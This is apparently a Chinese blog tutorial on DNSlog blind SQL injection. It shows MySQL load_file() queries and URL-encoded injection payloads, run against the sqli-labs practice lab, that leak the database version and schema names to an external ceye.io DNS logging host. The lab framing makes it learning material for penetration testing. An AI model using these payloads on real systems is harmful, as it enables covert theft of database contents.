dnslog盲注原理

Dnslog盲注原理

布尔盲注和时间盲注相当于猜单词的游戏,我们需要对每一位逐步的猜测,效率很低,需要发送很多的请求进行判断,很可能会触发安全设备的防护
我们需要一种方式能够减少请求,直接回显数据——Dnslog注入
Dns在解析的时候会留下日志,通过读取多级域名的解析日志,获取请求信息

Dnslog盲注方法

登录http://ceye.io/网站并注册,得到属于自己的identifier
先尝试在终端运行curl dnslog.4ke30o.ceye.io
dnslog盲注原理_第1张图片
dnslog盲注原理_第2张图片

Mysql load_file()函数可以发起请求,LOAD_FILE()函数操作需要用户具有FILE权限
构造语句,利用load_file()函数发起请求,使用Dnslog接收请求,获取数据
只能在windows系统下使用load_file()发起请求,在Linux环境下不能使用load_file()发起请求
使用语句select load_file(concat('\\\\',(select version()),'.mysql.4ke30o.ceye.io\\abc'))
在使用前务必记得设置secure_file_priv为"",我使用的是PHPstudy集成环境,所以访问http://localhost/phpMyAdmin4.8.5/来使用SQL
dnslog盲注原理_第3张图片
dnslog盲注原理_第4张图片
dnslog盲注原理_第5张图片
dnslog盲注原理_第6张图片
重启mysql服务
dnslog盲注原理_第7张图片
使用语句,查询自己想要的数据,此处查询版本信息
dnslog盲注原理_第8张图片
dnslog盲注原理_第9张图片
以第九关为例(在windows上运行)
使用http://localhost/sqli-labs-master/index.html进入SQLInjection页面

http://localhost/sqli-labs-master/Less-9/?id=1%27%20and%20(select%20load_file(concat(%27\\\\%27,(select%20version()),%27.mysql.4ke30o.ceye.io\\abc%27)))--+
http://localhost/sqli-labs-master/Less-9/?id=1%27%20and%20(select%20load_file(concat(%27\\\\%27,(select%20schema_name%20from%20information_schema.schemata%20limit%201,1),%27.mysql.4ke30o.ceye.io\\abc%27)))--+

一般来说,查询不到就说明语法有问题,可以先在mysql中尝试,在url中务必记得
1、?id=1’ and
2、and后面的语句要用括号括起来
3、不要忘记注释掉后面的语句–+或者%23

你可能感兴趣的:(SQL注入学习)